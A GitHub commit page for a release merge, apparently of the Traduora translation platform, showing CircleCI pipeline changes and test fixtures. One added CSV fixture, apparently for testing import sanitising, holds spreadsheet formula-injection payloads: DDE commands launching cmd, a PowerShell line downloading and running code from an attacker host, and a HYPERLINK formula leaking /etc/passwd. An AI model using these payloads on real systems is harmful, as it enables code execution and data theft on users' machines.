-
Notifications
You must be signed in to change notification settings - Fork 203
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #286 from ever-co/develop
Release
- Loading branch information
Showing
20 changed files
with
666 additions
and
243 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,16 +1,88 @@ | ||
version: 2 | ||
version: 2.1 | ||
|
||
orbs: | ||
node: circleci/[email protected] | ||
|
||
jobs: | ||
test: | ||
check_lint: | ||
working_directory: ~/workspace | ||
docker: | ||
- image: 'cimg/base:stable' | ||
steps: | ||
- checkout | ||
- node/install: | ||
install-yarn: true | ||
node-version: '16.13' | ||
- run: node --version | ||
- restore_cache: | ||
keys: | ||
- api-deps-{{ checksum "api/yarn.lock" }} | ||
- webapp-deps-{{ checksum "webapp/yarn.lock" }} | ||
- run: | ||
name: Install deps | ||
command: bin/install-deps.sh | ||
- save_cache: | ||
paths: | ||
- ~/workspace/api/node_modules | ||
key: api-deps-{{ checksum "api/yarn.lock" }} | ||
- save_cache: | ||
paths: | ||
- ~/workspace/webapp/node_modules | ||
key: webapp-deps-{{ checksum "webapp/yarn.lock" }} | ||
- run: | ||
name: Run Lint checks | ||
command: bin/check_lint.sh | ||
|
||
test_unit: | ||
working_directory: ~/workspace | ||
docker: | ||
- image: 'cimg/base:stable' | ||
- image: mysql:5.7 | ||
environment: | ||
MYSQL_ALLOW_EMPTY_PASSWORD: "yes" | ||
MYSQL_DATABASE: "tr_e2e" | ||
steps: | ||
- checkout | ||
- node/install: | ||
install-yarn: true | ||
node-version: '16.13' | ||
- run: node --version | ||
- restore_cache: | ||
keys: | ||
- api-deps-{{ checksum "api/yarn.lock" }} | ||
- webapp-deps-{{ checksum "webapp/yarn.lock" }} | ||
- run: | ||
name: Install deps | ||
command: bin/install-deps.sh | ||
- save_cache: | ||
paths: | ||
- ~/workspace/api/node_modules | ||
key: api-deps-{{ checksum "api/yarn.lock" }} | ||
- save_cache: | ||
paths: | ||
- ~/workspace/webapp/node_modules | ||
key: webapp-deps-{{ checksum "webapp/yarn.lock" }} | ||
- run: | ||
name: Wait for DB | ||
command: dockerize -wait tcp://127.0.0.1:3306 -timeout 120s | ||
- run: | ||
name: Run tests and checks | ||
command: bin/test_unit.sh | ||
|
||
test_e2e: | ||
working_directory: ~/workspace | ||
docker: | ||
- image: circleci/node:14.16 | ||
- image: 'cimg/base:stable' | ||
- image: mysql:5.7 | ||
environment: | ||
MYSQL_ALLOW_EMPTY_PASSWORD: "yes" | ||
MYSQL_DATABASE: "tr_e2e" | ||
steps: | ||
- checkout | ||
- node/install: | ||
install-yarn: true | ||
node-version: '16.13' | ||
- run: node --version | ||
- restore_cache: | ||
keys: | ||
- api-deps-{{ checksum "api/yarn.lock" }} | ||
|
@@ -31,13 +103,17 @@ jobs: | |
command: dockerize -wait tcp://127.0.0.1:3306 -timeout 120s | ||
- run: | ||
name: Run tests and checks | ||
command: bin/check.sh | ||
command: bin/test_e2e.sh | ||
|
||
build: | ||
docker: | ||
- image: circleci/node:14.16 | ||
- image: 'cimg/base:stable' | ||
steps: | ||
- checkout | ||
- node/install: | ||
install-yarn: true | ||
node-version: '16.13' | ||
- run: node --version | ||
- setup_remote_docker | ||
- run: | ||
name: Build | ||
|
@@ -46,12 +122,36 @@ jobs: | |
|
||
workflows: | ||
version: 2 | ||
|
||
test: | ||
jobs: | ||
- test | ||
- check_lint | ||
- test_unit: | ||
requires: | ||
- check_lint | ||
- test_e2e: | ||
requires: | ||
- check_lint | ||
|
||
release: | ||
jobs: | ||
- test: | ||
- check_lint: | ||
filters: | ||
branches: | ||
ignore: /.*/ | ||
tags: | ||
only: /^([0-9.]+)$/ | ||
- test_unit: | ||
requires: | ||
- check_lint | ||
filters: | ||
branches: | ||
ignore: /.*/ | ||
tags: | ||
only: /^([0-9.]+)$/ | ||
- test_e2e: | ||
requires: | ||
- check_lint | ||
filters: | ||
branches: | ||
ignore: /.*/ | ||
|
@@ -60,7 +160,9 @@ workflows: | |
- build: | ||
context: traduora | ||
requires: | ||
- test | ||
- check_lint | ||
- test_unit | ||
- test_e2e | ||
filters: | ||
branches: | ||
ignore: /.*/ | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
DDE ("cmd"" calc";"!A")A0,first | ||
SUM()*cmd|' calc'!A,second | ||
0+cmd|' calc'!A0,third | ||
cmd|' notepad'!'A',fourth | ||
cmd|' powershell IEX(wget attacker_servershell)'!A,fifth | ||
HYPERLINK(CONCATENATE("http:/.0.0.0:0/.txt?v=" ('file:///etc/passwd'#$passwd.A1)); "testpoc"),sixth |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1,4 @@ | ||
term.one,Current Plan: {{ project.plan.name }} | ||
term two,"{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }" | ||
TERM_THREE,Export format... | ||
term:four,hello there you\nthis should be in a newline | ||
term:four,hello there you\nthis should be in a newline |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,9 +1,10 @@ | ||
{ | ||
"moduleFileExtensions": ["js", "json", "ts"], | ||
"rootDir": ".", | ||
"testEnvironment": "node", | ||
"testRegex": ".e2e-spec.ts$", | ||
"transform": { | ||
"^.+\\.(t|j)s$": "ts-jest" | ||
} | ||
"moduleFileExtensions": ["js", "json", "ts"], | ||
"rootDir": ".", | ||
"testEnvironment": "node", | ||
"testTimeout": 30000, | ||
"testRegex": ".e2e-spec.ts$", | ||
"transform": { | ||
"^.+\\.(t|j)s$": "ts-jest" | ||
} | ||
} |
Oops, something went wrong.
98d1fc0
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Deployment failed with the following error: